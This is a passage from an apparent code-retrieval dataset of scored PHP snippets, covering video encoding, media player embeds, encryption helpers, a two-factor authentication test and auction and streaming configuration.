'http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0',\n 'type' => 'application/x-shockwave-flash',\n 'width' => $this->embeviWidth,\n 'height' => $this->embeviHeight\n );\n }", "title": "" }, { "docid": "962f084d5ecf132b0d8dba9b32acfa17", "score": "0.36738795", "text": "public function configure()\n {\n $endpoint = $this->getEndpoint();\n $publicKey = $this->getPublicKey();\n $sharedSecret = $this->getSecretKey();\n \\CreditKey\\Api::configure($endpoint, $publicKey, $sharedSecret);\n }", "title": "" }, { "docid": "28c3d19b10020447883494049e83ab72", "score": "0.36712125", "text": "protected function create_click_to_play_overlay()\n\t\t{\n\t\t\tif( ! $this->need_conditional_load )\n\t\t\t{\n\t\t\t\treturn '';\n\t\t\t}\n\n\n\t\t\t$overlay =\t'<div class=\"av-click-to-play-overlay\">';\n\t\t\t$overlay .=\t\t'<div class=\"avia_playpause_icon\">';\n\t\t\t$overlay .=\t\t'</div>';\n\t\t\t$overlay .=\t'</div>';\n\n\t\t\treturn $overlay;\n\t\t}", "title": "" }, { "docid": "f659b55210d716ed8637af409810743f", "score": "0.36703998", "text": "public function handle($guessMaxBitrate = false)\n {\n $ffprobe = FFProbe::create($this->params);\n $ffmpeg = FFMpeg::create($this->params);\n\n if ($this->isGif()) {\n $this->duration = $this->getGIFDuration();\n $this->sound = 0;\n\n $this->filters[] = '-pix_fmt';\n $this->filters[] = 'yuv420p';\n } else {\n $this->duration = (float)$ffprobe->format($this->loc . '/' . $this->name)->get('duration');\n }\n\n $this->px = $ffprobe->streams($this->loc . '/' . $this->name)->videos()->first()->getDimensions()->getWidth();\n $this->py = $ffprobe->streams($this->loc . '/' . $this->name)->videos()->first()->getDimensions()->getHeight();\n\n if ($this->duration == 0 || $this->px == 0) {\n failed();\n return;\n }\n\n $video = $ffmpeg->open($this->loc . '/' . $this->name);\n\n if (!$this->res) {\n $this->getAutoResolution();\n $video->filters()->resize(new Dimension($this->px, $this->py));\n }\n\n if ($this->start > $this->duration) {\n $this->start = 0;\n }\n\n if ($this->end > $this->duration) {\n $this->end = $this->duration;\n }\n\n if (($this->end - $this->start) > $this->maxDuration) {\n $this->end = $this->start + $this->maxDuration;\n }\n\n if ($this->start || $this->end) {\n $this->duration = $this->end - $this->start;\n }\n\n if (!$this->start && !$this->end) {\n $video->filters()->clip(TimeCode::fromSeconds($this->start), TimeCode::fromSeconds($this->maxDuration));\n }\n\n if ($this->start || $this->end) {\n $video->filters()->clip(TimeCode::fromSeconds($this->start), TimeCode::fromSeconds($this->duration));\n }\n\n $format = new X264();\n $format->setAudioCodec('aac');\n switch ($this->sound) {\n case 0:\n $this->filters[] = '-an';\n break;\n case 1:\n $format->setAudioKiloBitrate(70); // test value\n break;\n case 2:\n $format->setAudioKiloBitrate(120);\n break;\n case 3:\n $format->setAudioKiloBitrate(190); // test value\n break;\n }\n\n if (!$guessMaxBitrate) {\n $this->setMaxBitrate();\n }\n\n $addParams = $this->filters;\n if ($guessMaxBitrate) {\n array_push($addParams, '-crf', '27');\n $format->setAudioKiloBitrate(96); // test value\n }\n $format->setAdditionalParameters($addParams);\n\n if (!$guessMaxBitrate) {\n $format->setPasses(2);\n $taa = $this->getBitrate($format->getAudioKiloBitrate(), $this->maxBitrate);\n $format->setKiloBitrate($taa);\n }\n\n if ($guessMaxBitrate) {\n $format->on('progress', function ($video, $format, $percentage) {\n DB::table('data')->where('guid', $this->name)->update(['progress' => $percentage * 0.5]);\n });\n } else {\n $format->on('progress', function ($video, $format, $percentage) {\n DB::table('data')->where('guid', $this->name)->update(['progress' => ($percentage * 0.5) + 50]);\n });\n }\n\n $basePath = $this->loc . '/public/' . $this->name;\n\n if ($guessMaxBitrate) {\n $basePath = $basePath . '.prerun';\n }\n $status = false;\n try {\n $status = $video->save($format, $basePath . '.mp4');\n if (!$guessMaxBitrate) {\n DB::table('data')->where('guid', $this->name)->update(['progress' => 100]);\n }\n } catch (\\Exception $e) {\n error_log($e);\n $this->failed();\n return;\n }\n\n if ($status && $guessMaxBitrate) {\n $this->maxBitrate = $ffprobe->streams($this->loc . '/public/' . $this->name . '.prerun' . '.mp4')->videos()->first()->get('bit_rate'); // there are videos which have no bit_rate information\n if($this->maxBitrate != 0) {\n $this->maxBitrate /= 1024;\n }\n if ($this->maxBitrate == 0) {\n\n $commands = array($this->loc . '/' . $this->name, '-select_streams', 'v', '-show_entries', 'packet=size:stream=duration', '-of', 'compact=p=0:nk=1'); // this is not how to do this...\n\n $b = explode(\"\\n\", $ffprobe->getFFProbeDriver()->command($commands));\n array_pop($b);\n $popped2 = array_pop($b);\n\n $a = array_sum($b);\n\n $this->maxBitrate = $a / (float)$popped2;\n }\n\n }\n if (!$status) {\n error_log(\"failed\");\n $this->failed();\n }\n\n }", "title": "" }, { "docid": "12f8698cd98a9fe346e22fa9ed92221a", "score": "0.36686474", "text": "public function test_audio_frequency()\n {\n $this->cloudinary_url_assertion(\n \"video_id\",\n array('resource_type' => 'video', 'audio_frequency' => 44100),\n CloudinaryTest::VIDEO_UPLOAD_PATH . \"af_44100/video_id\"\n );\n }", "title": "" }, { "docid": "981fa5bd05356d6632c85dca34e51d9d", "score": "0.36673683", "text": "public function getEncryptionSpec()\n {\n return $this->encryption_spec;\n }", "title": "" }, { "docid": "a016a8b7bcb55e31726566b064e294ef", "score": "0.36582243", "text": "final protected static function configureCipherSweetFields()\n {\n if (isset(static::$encrypted)) {\n static::$cipherSweetFields = static::$encrypted;\n }\n\n foreach (static::$cipherSweetFields as $field => $type) {\n $aadSource = '';\n\n if (is_array($type)) {\n list($type, $aadSource) = $type;\n }\n\n static::$cipherSweetEncryptedFields[$field] = new EncryptedField(\n app(CipherSweetEngine::class),\n (new static)->getTable(),\n $field\n );\n }\n }", "title": "" }, { "docid": "956c39c51fa65831535808b18c6de5a1", "score": "0.3655792", "text": "private function getEncodingProfileConfigTemplate()\n {\n $videoStreamConfig = new VideoStreamConfig();\n $videoStreamConfig->bitrate = 1024000;\n $videoStreamConfig->height = 202;\n $videoStreamConfig->width = 480;\n\n /* CREATE AUDIO STREAM CONFIGS */\n $audioStreamConfig = new AudioStreamConfig();\n $audioStreamConfig->bitrate = 256000;\n\n $encodingProfileConfig = new EncodingProfileConfig();\n $encodingProfileConfig->name = $this->getName().'EncodingProfile';\n $encodingProfileConfig->videoStreamConfigs[] = $videoStreamConfig;\n $encodingProfileConfig->audioStreamConfigs[] = $audioStreamConfig;\n\n\n return $encodingProfileConfig;\n }", "title": "" }, { "docid": "81bcff60b19804244d39cc9f043aef17", "score": "0.36533514", "text": "function hewa_shortcode_player( $atts ) {\n\n // Extract attributes and set default values\n // TODO: the default path might point to a custom video that invites the user to select a video.\n // TODO: default width and height ratio should be calculated from the video.\n $params = shortcode_atts( array(\n 'width' => '100%', // by default we stretch the full width of the containing element.\n 'asset_id' => 5,\n 'aspectratio' => '5:3',\n 'listbar' => null,\n 'listbar_size' => 240,\n 'listbar_cat' => 'for-you',\n 'autostart' => true,\n 'max' => 5,\n 'skin' => hewa_get_option( HEWA_SETTINGS_JWPLAYER_DEFAULT_SKIN, '' ),\n 'logo_url' => hewa_get_option( HEWA_SETTINGS_JWPLAYER_LOGO_URL, '' ),\n 'logo_link' => hewa_get_option( HEWA_SETTINGS_JWPLAYER_LOGO_LINK, '' ),\n 'ga_idstring' => 'title'\n ), $atts);\n\n // Queue the scripts.\n wp_enqueue_script( 'jwplayer', plugins_url('js/jwplayer-6.9/jwplayer.js', __FILE__ ) );\n\n // Get the player key.\n $jwplayer_key = hewa_get_option( HEWA_SETTINGS_JWPLAYER_ID, '' );\n\n // Get the asset Id.\n $player_id = uniqid( 'hewa-player-');\n $asset_id = $params['asset_id'];\n $title_u = urlencode( get_the_title() );\n\n // Get the thumbnail URL.\n // TODO: get the thumbnail of the right size.\n $attachment_url = wp_get_attachment_url( get_post_thumbnail_id() );\n $image_u = urlencode( $attachment_url );\n\n // Build the player array which will then be translated to JavaScript for JWPlayer initialization.\n $player = array();\n $player['androidhls'] = true;\n $player['autostart'] = ( $params['autostart'] ? 'true' : 'false' );\n $player['playlist'] = apply_filters(\n HEWA_FILTERS_PLAYER_PLAYLIST_URL,\n admin_url( 'admin-ajax.php?action=hewa_rss&id=' . $asset_id .\n '&t=' . $title_u . // set the title\n '&i=' . $image_u . // set the image\n '&max=' . $params['max'] . // set the maximum number of elements\n ( null !== $params['listbar'] ? '&cat=' . $params['listbar_cat'] : '' ) // add the category if we have the listbar.\n )\n );\n $player['width'] = $params['width'];\n $player['aspectratio'] = $params['aspectratio'];\n\n // Add the logo and the link if provided.\n if ( ! empty( $params['logo_url'] ) ) {\n\n $player['logo'] = array( 'file' => $params['logo_url'] );\n\n if ( ! empty( $params['logo_link'] ) ) {\n $player['logo']['link'] = $params['logo_link'];\n }\n\n }\n\n // Add the skin if specified.\n if ( ! empty( $params['skin'] ) ) {\n $player['skin'] = $params['skin'];\n }\n\n // The loading string.\n $loading = esc_html__( 'Loading player...', HEWA_LANGUAGE_DOMAIN );\n\n // Prepare an empty result variable.\n $result = '';\n\n // Build the *responsive* listbar.\n if ( null !== $params['listbar'] && 'responsive' === $params['listbar'] ) {\n wp_enqueue_style( 'helixware-player-css', plugins_url( 'css/helixware.player.css', dirname( __FILE__ ) ) );\n\n $listbar_id = uniqid();\n // Print the responsive listbar player DIV.\n $result = \"<div class=\\\"hewa-container\\\" id=\\\"hewa-container-$listbar_id\\\">\" .\n \"<div class=\\\"hewa-player-container\\\" id=\\\"hewa-player-container-$listbar_id\\\"><div id=\\\"$player_id\\\">$loading</div></div>\" .\n \"<div class=\\\"hewa-listbar-container\\\"><ul id=\\\"hewa-listbar-$listbar_id\\\" class=\\\"hewa-listbar\\\"></ul></div>\" .\n '</div>';\n\n } else {\n // Print the standard player DIV.\n $result .= \"<div id=\\\"$player_id\\\">$loading</div>\";\n }\n\n // Build a standard listbar.\n if ( null !== $params['listbar'] && 'responsive' !== $params['listbar'] ) {\n\n $player['listbar'] = array(\n 'position' => $params['listbar'],\n 'size' => $params['listbar_size']\n );\n\n }\n\n // Set the GA setting.\n $player['ga'] = array( 'idstring' => $params['ga_idstring'] );\n\n // Create the JSON version of the player.\n $player_json = json_encode( $player );\n\n // Start printing out the player javascript.\n $result .= <<<EOF\n <script type=\"text/javascript\">\n jQuery( function( $ ) {\n jwplayer.key = '$jwplayer_key';\n jwplayer('$player_id')\n .setup($player_json);\n\nEOF;\n\n // If the listbar Id is set, then print-out related events.\n if ( isset( $listbar_id ) ) {\n\n $result .= <<<EOF\n jwplayer('$player_id')\n .onReady( function () {\n var html = '';\n var player = jwplayer('$player_id');\n var playlist = player.getPlaylist();\n\n for (var i = 0; i < playlist.length; i++) {\n\n html += '<li><a href=\"javascript:jwplayer(\\'$player_id\\').playlistItem(' + i + ');\">';\n\n if ( undefined != playlist[i].image ) {\n html += '<img height=\"75\" width=\"120\" src=\"' + playlist[i].image + '\" />';\n }\n\n html += '<div class=\"hewa-listbar-title\">' + playlist[i].title + '</div></a>';\n\n if ( undefined != playlist[i].description ) {\n html += '<div class=\"hewa-listbar-description\">' + description + '</div>';\n }\n\n html += '</li>';\n\n $('#hewa-listbar-$listbar_id').html( html );\n\n }\n\n\n setTimeout( function() {\n\n // Give the player some time to load.\n if ( 600 < $(document).width() ) {\n\n $( '#hewa-listbar-$listbar_id' ).height( 0 < $('#${player_id}_wrapper').length\n ? $('#${player_id}_wrapper').height()\n : $('#${player_id}').height()\n );\n\n } else {\n $( '#hewa-listbar-$listbar_id' ).height( 88 );\n }\n }, 2000);\n\n })\n .onResize(function (event) {\n\n if ( 600 < $(document).width() )\n $( '#hewa-listbar-$listbar_id' ).height( event.height );\n else\n $( '#hewa-listbar-$listbar_id' ).height( 88 );\n\n });\n\nEOF;\n }\n\n // Close the script and return the results.\n return $result . '});</script>';\n\n}", "title": "" }, { "docid": "476ab7318582d2fdd53602f83fb59ce1", "score": "0.36523762", "text": "private function encryption_key() {\n\t\treturn SECURE_AUTH_KEY;\n\t}", "title": "" }, { "docid": "4cadecaf61e0dcc2ddd2ea7158c8e89c", "score": "0.36511776", "text": "public function getAuctionConfiguration()\n {\n $auctionConfig=[\n 'enable' => $this->scopeConfig->getValue('wk_mpauction/general_settings/enable'),\n 'auction_rule' => $this->scopeConfig->getValue('wk_mpauction/general_settings/auction_rule'),\n 'show_bidder' => $this->scopeConfig->getValue('wk_mpauction/general_settings/show_bidder'),\n 'show_price' => $this->scopeConfig->getValue('wk_mpauction/general_settings/show_price'),\n 'reserve_enable' => $this->scopeConfig->getValue('wk_mpauction/reserve_option/enable'),\n 'reserve_price' => $this->scopeConfig->getValue('wk_mpauction/reserve_option/price'),\n 'show_curt_auc_price' => $this->scopeConfig->getValue('wk_mpauction/general_settings/show_curt_auc_price'),\n 'show_auc_detail' => $this->scopeConfig->getValue('wk_mpauction/general_settings/show_auc_detail'),\n 'auto_enable' => $this->scopeConfig->getValue('wk_mpauction/auto/enable'),\n 'auto_auc_limit' => $this->scopeConfig->getValue('wk_mpauction/auto/limit'),\n 'show_auto_details' => $this->scopeConfig->getValue('wk_mpauction/auto/show_auto_details'),\n 'auto_use_increment' => $this->scopeConfig->getValue('wk_mpauction/auto/use_increment'),\n 'show_autobidder_name' => $this->scopeConfig->getValue('wk_mpauction/auto/show_autobidder_name'),\n 'show_auto_bid_amount' => $this->scopeConfig->getValue('wk_mpauction/auto/show_bid_amount'),\n 'show_auto_outbid_msg' => $this->scopeConfig->getValue('wk_mpauction/auto/show_auto_outbid_msg'),\n 'enable_auto_outbid_msg' => $this->scopeConfig->getValue('wk_mpauction/auto/enable_auto_outbid_msg'),\n 'show_winner_msg' => $this->scopeConfig->getValue('wk_mpauction/general_settings/show_winner_msg'),\n 'increment_auc_enable' => $this->scopeConfig->getValue('wk_mpauction/increment_option/enable'),\n 'enable_admin_email' => $this->scopeConfig->getValue('wk_mpauction/emails/enable_admin_email'),\n 'admin_notify_email_template' => $this->scopeConfig\n ->getValue('wk_mpauction/emails/admin_notify_email_template'),\n 'enable_seller_email' => $this->scopeConfig->getValue('wk_mpauction/emails/enable_seller_email'),\n 'seller_notify_email_template' => $this->scopeConfig\n ->getValue('wk_mpauction/emails/seller_notify_email_template'),\n 'enable_outbid_email' => $this->scopeConfig->getValue('wk_mpauction/emails/enable_outbid_email'),\n 'outbid_notify_email_template' => $this->scopeConfig\n ->getValue('wk_mpauction/emails/outbid_notify_email_template'),\n 'enable_winner_notify_email' => $this->scopeConfig\n ->getValue('wk_mpauction/emails/enable_winner_notify_email'),\n 'winner_notify_email_template' => $this->scopeConfig\n ->getValue('wk_mpauction/emails/winner_notify_email_template'),\n 'admin_email_address' => $this->scopeConfig->getValue('wk_mpauction/emails/admin_email_address'),\n 'enable_submit_bid_email' => $this->scopeConfig->getValue('wk_mpauction/emails/enable_submit_bid_email'),\n 'bidder_notify_email_template' => $this->scopeConfig\n ->getValue('wk_mpauction/emails/bidder_notify_email_template')\n ];\n return $auctionConfig;\n }", "title": "" }, { "docid": "547c1c09a2a8f74799c5839b494873c1", "score": "0.3648157", "text": "public function getSecret(): string\n {\n return $this->secret;\n }", "title": "" }, { "docid": "3436d117a1e6cbb8216fd2aaf457702c", "score": "0.364739", "text": "public function getSecret();", "title": "" }, { "docid": "3436d117a1e6cbb8216fd2aaf457702c", "score": "0.364739", "text": "public function getSecret();", "title": "" }, { "docid": "86c96db6834a8345c4875f5719062a81", "score": "0.36454386", "text": "public function markEncrypted() {\n\t\tforeach ($this->files as $file) {\n\t\t\tif (empty($file['dir']) && $file['name'] == 'HZENCRYPTED') {\n\t\t\t\treturn;\n\t\t\t}\n\t\t}\n\n\t\t$cipher = FastEncrypt::encrypt(Framework::path() . ';' . time() . ';' . Framework::version());\n\t\t$this->createFile($cipher, 'HZENCRYPTED');\n\t\t$this->localEncryption = $cipher;\n\t}", "title": "" }, { "docid": "9255e4869fc4a78f6e8886608b7acf0f", "score": "0.3644907", "text": "public function setSecure(bool $secure = true): static;", "title": "" }, { "docid": "1449df7ab6462e289ca7cbeb2267b110", "score": "0.36339286", "text": "public function Dot_SaveLiveVideosToAmazonMode($uid, $sALiveModde) {\n\t\t$uid = mysqli_real_escape_string($this->db, $uid);\n\t\t$sALiveModde = mysqli_real_escape_string($this->db, $sALiveModde);\n\t\t$checkUserisAdmin = mysqli_query($this->db, \"SELECT user_id,user_status,user_type FROM dot_users WHERE user_id = '$uid' AND user_status = '1' AND user_type = '1'\") or die(mysqli_error($this->db));\n\t\tif (mysqli_num_rows($checkUserisAdmin) == 1) {\n\t\t\t$updateSiteSetting = mysqli_query($this->db, \"UPDATE dot_configuration SET amazone_s3_2 = '$sALiveModde' WHERE configuration_id = '1'\") or die(mysqli_error($this->db));\n\t\t\treturn true;\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "2dd1b2f1ba4e3f293e5ef81b23ca109a", "score": "0.36318374", "text": "function _HCM_player($soubor=\"\", $sirka=null, $vyska=null, $autoplay=false){\n \n //prednastavene hodnoty\n $extension=pathinfo($soubor);\n if(isset($extension['extension'])){$extension=$extension['extension'];}\n if($extension==\"mp3\"){$defvyska=\"19\";}else{$defvyska=\"240\";}\n $defsirka=\"320\";\n\n //nacteni parametru\n $soubor=_htmlStr($soubor);\n if(!_isAbsolutePath($soubor)){$soubor=_url.\"/\".$soubor;}\n if(!isset($sirka)){$sirka=$defsirka;}else{$sirka=intval($sirka);}\n if(!isset($vyska)){$vyska=$defvyska;}else{$vyska=intval($vyska);}\n $autoplay=_booleanStr(_boolean($autoplay));\n\n //sestaveni kodu\n return '\n<div id=\"player_'.$GLOBALS['__hcm_uid'].'\"><div class=\"message2\">'.$GLOBALS['_lang']['hcm.player.alt'].'</div></div>\n<script type=\"text/javascript\">\n// <![CDATA[\n\t\tvar so = new SWFObject(\"'._indexroot.'remote/hcm/player.swf\", \"player_embed_'.$GLOBALS['__hcm_uid'].'\", \"'.$sirka.'\", \"'.$vyska.'\", \"9\", \"#000000\");\n\t\tso.addParam(\"allowfullscreen\",\"true\");\n\t\tso.addVariable(\"file\", \"'.$soubor.'\");\n\t\tso.addVariable(\"link\", \"'.$soubor.'\");\n\t\tso.addVariable(\"autostart\", \"'.$autoplay.'\");\n\t\tso.write(\"player_'.$GLOBALS['__hcm_uid'].'\");\n// ]]>\n</script>\n';\n\n}", "title": "" }, { "docid": "07b6671939940baeed4a66996b4a52c6", "score": "0.36305285", "text": "public function getSecret(): string;", "title": "" }, { "docid": "8f87d81b5a9a5776d4d83713fa63133c", "score": "0.3629871", "text": "public function __construct() {\n $this->key = getenv('BG_ENCRYPTION_KEY');\n }", "title": "" }, { "docid": "a35431fba9d8aded88da165f5c76c74f", "score": "0.36164838", "text": "public function getEncryptionSecret()\n {\n return $this->encHelper->decrypt($this->client->EncSecret);\n }", "title": "" }, { "docid": "a339d338dcc2c659e7c05941200acd0b", "score": "0.36146438", "text": "function emaudio_bandcamp_audio($embed, $width, $height, $field, $item, $node, $autoplay) {\n\n $item['options'] = emaudio_bandcamp_set_options($item, $width, $height, 'full');\n\n return theme('emaudio_bandcamp_flash', $item);\n}", "title": "" }, { "docid": "5c0dc4a9b66f3d817178b71996efc7a3", "score": "0.36133346", "text": "public function getSecret()\n {\n return $this->secret;\n }", "title": "" }, { "docid": "5c0dc4a9b66f3d817178b71996efc7a3", "score": "0.36133346", "text": "public function getSecret()\n {\n return $this->secret;\n }", "title": "" }, { "docid": "f8925da5012e3f20e99b79e12a714ac5", "score": "0.36102012", "text": "public function getOnplay():string {\n return $this->getAttribute('onplay');\n }", "title": "" }, { "docid": "7de91ba254d346c3b6c36ff4a17daeed", "score": "0.3609173", "text": "public function testVerifiesSha256Keys()\n {\n // timestamp 786402000, which is 1994-12-02 21:00:00 UTC\n\n $this->google2fa->setAlgorithm(Google2FAConstants::SHA256);\n\n $this->assertTrue(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '230152',\n 2,\n 26213400\n )\n ); // 26213398\n\n $this->assertTrue(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '064978',\n 2,\n 26213400\n )\n ); // 26213399\n\n $this->assertTrue(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '758576',\n 2,\n 26213400\n )\n ); // 26213400\n\n $this->assertTrue(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '935741',\n 2,\n 26213400\n )\n ); // 26213401\n\n $this->assertTrue(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '044590',\n 2,\n 26213400\n )\n ); // 26213402\n\n $this->assertFalse(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '576276',\n 2,\n 26213400\n )\n ); // 26213403\n\n $this->assertFalse(\n $this->google2fa->verifyKey(\n Constants::SECRET,\n '152688',\n 2,\n 26213400\n )\n ); // 26213397\n }", "title": "" }, { "docid": "abc2945a82a8afbe47fcd0ebd3e5a066", "score": "0.36086196", "text": "function addVideoToPlaylist( $playlistId, $resourceId ) {\n}", "title": "" }, { "docid": "048bbb21399e1a6ff37d839949be20a2", "score": "0.36080006", "text": "public static function save_waf_config() {\n\t\t$return = \\wordfence::ajax_saveWAFConfig_callback();\n\t\tif ( is_array( $return ) && isset( $return['data'] ) ) {\n\t\t\t$return['learningModeGracePeriod'] = \\wfWAF::getInstance()->getStorageEngine()->getConfig( 'learningModeGracePeriod' );\n\t\t}\n\t\treturn $return;\n\t}", "title": "" }, { "docid": "5601cd945477ca5e8b985162cc01d54b", "score": "0.36052108", "text": "public function get_secret()\n\t{\n\t\treturn get_option( $this->slug . '-secret' );\n\t}", "title": "" }, { "docid": "1bbef04ff078e166b9208eff8557ce37", "score": "0.36009356", "text": "public function isSharable()\n {\n return $this->sharable;\n }", "title": "" }, { "docid": "92a9533ba61bc0c32f6197a24f11c798", "score": "0.3599121", "text": "function parse_and_attach_video($att)\n{\n global $cbvid;\n preg_match('/{v:(.*)}/', $att, $matches);\n $vkey = $matches[1];\n if (!empty($vkey))\n {\n assign('video', $cbvid->get_video_details($vkey));\n assign('only_once', true);\n echo '<h3>Attached Video</h3>';\n template('blocks/video.html');\n }\n}", "title": "" }, { "docid": "d9f5a80ef94bfd09b861404bd87c91bf", "score": "0.35977963", "text": "public function getEncrypting();", "title": "" }, { "docid": "d41ecdeada63850a60de33dd38f57549", "score": "0.3597354", "text": "function Link_vault_allowance()\n {\n\n $tagdata = ee()->TMPL->tagdata;\n $conds = array();\n $variables = array();\n\n if (!$member_id = ee()->TMPL->fetch_param('member_id')) {\n\n return;\n\n } else {\n\n $allowance_lifetime_used = $this->lifetime_used($member_id);\n $allowance_used = $this->used($member_id);\n\n if ($allowance_used) {\n $allowance_remaining = (int)$this->period_cap-$allowance_used;\n } else {\n $allowance_remaining = $this->period_cap;\n }\n\n // Define Conditionals\n $conds['allowed'] = ($allowance_remaining) ? TRUE : FALSE;\n\n // Prep Conditionals\n $tagdata = ee()->functions->prep_conditionals($tagdata, $conds);\n\n // Create single vars\n $variables[] = array(\n 'allowance_lifetime_used' => $allowance_lifetime_used,\n 'allowance_used' => $allowance_used,\n 'allowance_remaining' => $allowance_remaining,\n 'allowance_period' => $this->period,\n 'allowance_period_cap' => $this->period_cap\n );\n\n $tagdata = ee()->TMPL->parse_variables($tagdata, $variables);\n\n // Return\n $this->return_data = $tagdata;\n return $this->return_data;\n\n }\n\n }", "title": "" }, { "docid": "96f12a1f35ce86a807367de55b50bfc8", "score": "0.35910517", "text": "public function setStorageRequireEncryption(?bool $value): void {\n $this->getBackingStore()->set('storageRequireEncryption', $value);\n }", "title": "" }, { "docid": "610167593b8c5ecfb94eb2267d1a533f", "score": "0.35909474", "text": "public function getPlayUri()\n {\n return $this->play_uri;\n }", "title": "" }, { "docid": "d919d181c34b048367319555248692c3", "score": "0.35882792", "text": "public function PlayVideo($VideoCode)\r\n\t{\r\n\t\t$tdt=date(\"Y-m-d H:i:s\");\r\n\t\t\r\n\t\t$data['filename']=''; $data['title']=''; $data['jwplayer_key']='';\r\n\t\t$data['description']=''; $data['category']=''; $data['domain_name']='';\r\n\t\t$useragent=$_SERVER['HTTP_USER_AGENT'];\r\n\t\t\r\n\t\t#Get Player Key\r\n\t\t$sql=\"SELECT jwplayer_key FROM settings\";\r\n\t\t\t\r\n\t\t$query = $this->db->query($sql);\r\n\t\t\t\t\r\n\t\tif ( $query->num_rows()> 0 )\r\n\t\t{\r\n\t\t\t$row = $query->row();\t\r\n\t\t\t\t\t\r\n\t\t\tif ($row->jwplayer_key) $data['jwplayer_key'] = $row->jwplayer_key;\r\n\t\t}\r\n\t\t\r\n\t\t#Get domain_name\r\n\t\t$sql=\"SELECT domain_name FROM streaming_domain\";\r\n\t\t\t\r\n\t\t$query = $this->db->query($sql);\r\n\t\t\t\t\r\n\t\tif ( $query->num_rows()> 0 )\r\n\t\t{\r\n\t\t\t$row = $query->row();\t\t\t\t\t\t\r\n\t\t\tif ($row->domain_name) $data['domain_name'] = $row->domain_name;\r\n\t\t}\r\n\t\t\r\n\t\t#Get Active rss feed\r\n\t\t$sql = \"SELECT filename,rss_feed.title,description,rss_feed.category FROM rss_feed,active_rss_feed WHERE (rss_feed.feed_id=active_rss_feed.feed_id) AND (TRIM(rss_feed.video_code)='\".$this->db->escape_str($VideoCode).\"')\";\r\n\t\t\r\n\t\t$query = $this->db->query($sql);\r\n\t\t\t\t\t\r\n\t\tif ($query->num_rows() > 0 )\r\n\t\t{\r\n\t\t\t$row = $query->row();\r\n\t\t\r\n\t\t\tif ($row->filename) $data['filename']=$row->filename;\r\n\t\t\tif ($row->title) $data['title']=$row->title;\r\n\t\t\tif ($row->description) $data['description']=$row->description;\r\n\t\t\tif ($row->category) $data['category']=$row->category;\r\n\t\t\t\r\n\t\t\t#Save Transaction\r\n\t\t\t$remote_ip=$_SERVER['REMOTE_ADDR'];\r\n\t\t\t$remote_host=gethostbyaddr($_SERVER['REMOTE_ADDR']);\r\n\t\t\t$lang=$_SERVER['HTTP_ACCEPT_LANGUAGE'];\r\n\t\t\t$phone=$this->getdata_model->GetMSISDN();\r\n\t\t\t\r\n\t\t\t\r\n\t\t\tif ($phone)\r\n\t\t\t{\r\n\t\t\t\t$t=trim($phone[0]);\r\n\t\t\t\t\r\n\t\t\t\tif (trim($t) != '') $phone='+'.trim($phone);\r\n\t\t\t}\r\n\t\t\t\r\n\t\t\t#$tddate=date('Y-m-d H:i',strtotime($tdt));\r\n\t\t\t$tddate=date('Y-m-d',strtotime($tdt));\r\n\t\t\t\r\n\t\t\t#Check if it is first time it registering\r\n\t\t\t#$sql = \"SELECT trans_date FROM transactions WHERE (DATE_FORMAT(trans_date,'%Y-%m-%d %H:%i')='\".$tddate.\"') AND (TRIM(filename)='\".$row->filename.\"') AND ((TRIM(remote_address)='\".$_SERVER['REMOTE_ADDR'].\"') OR (TRIM(phone)='\".$phone.\"'))\";\r\n\t\t\t$sql = \"SELECT trans_date FROM transactions WHERE (DATE_FORMAT(trans_date,'%Y-%m-%d')='\".$tddate.\"') AND (TRIM(filename)='\".$row->filename.\"') AND ((TRIM(remote_address)='\".$_SERVER['REMOTE_ADDR'].\"') OR (TRIM(phone)='\".$phone.\"'))\";\r\n\t\t\r\n\t\t\t$qry = $this->db->query($sql);\r\n#$file = fopen('aaa.txt',\"w\"); fwrite($file,\"\\n\".$sql); fclose($file);\t\t\t\t\t\t\r\n\t\t\tif ($qry->num_rows() == 0 )\r\n\t\t\t{\r\n\t\t\t\t$dat=array(\r\n\t\t\t\t\t'phone' => $this->db->escape_str($phone),\r\n\t\t\t\t\t'trans_date' => $tdt,\r\n\t\t\t\t\t'filename' => $this->db->escape_str($row->filename),\r\n\t\t\t\t\t'user_agent' => $this->db->escape_str($useragent),\r\n\t\t\t\t\t'video_category' => $this->db->escape_str($row->category),\r\n\t\t\t\t\t'remote_address' => $this->db->escape_str($remote_ip),\t\r\n\t\t\t\t\t'remote_host' => $this->db->escape_str($remote_host),\t\r\n\t\t\t\t\t'lang' => $this->db->escape_str($lang),\r\n\t\t\t\t\t'network' => 'MTN'\r\n\t\t\t\t);\r\n\t\t\t\t\r\n\t\t\t\t$this->db->insert('transactions', $dat);\t\r\n\t\t\t\t\t\r\n\t\t\t\t$this->db->trans_complete();\r\n\t\t\t\t\r\n\t\t\t\tif ($this->db->trans_status() === FALSE)\r\n\t\t\t\t{\r\n\t\t\t\t\t$Msg=\"Transaction From User Agent '\".strtoupper($useragent).\", Remote Host '\".strtoupper($remote_host).\"' AND Remote IP'\".strtoupper($remote_ip).\"' Failed.\";\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t$this->getdata_model->LogDetails('System',$Msg,'System',date('Y-m-d H:i:s'),$remote_ip,$remote_host,'GENERATE NEW VIDEO FEED','System');\r\n\t\t\t\t}\r\n\t\t\t\t\r\n\t\t\t\tif (trim($phone) != '')\r\n\t\t\t\t{\r\n\t\t\t\t\t#Add record to subscribers table\r\n\t\t\t\t\t$sql = \"SELECT phone FROM subscribers WHERE (TRIM(phone)='\".$this->db->escape_str($phone).\"')\";\t\t\r\n\t\t\t\t\t$query = $this->db->query($sql);\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\tif ($query->num_rows() == 0 )#Insert\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$dat=array(\r\n\t\t\t\t\t\t'phone' => $this->db->escape_str($phone),\r\n\t\t\t\t\t\t\t'subscriber_status' => 1,\r\n\t\t\t\t\t\t\t'network' => 'MTN'\r\n\t\t\t\t\t\t);\r\n\t\t\t\t\t\r\n\t\t\t\t\t\t$this->db->insert('subscribers', 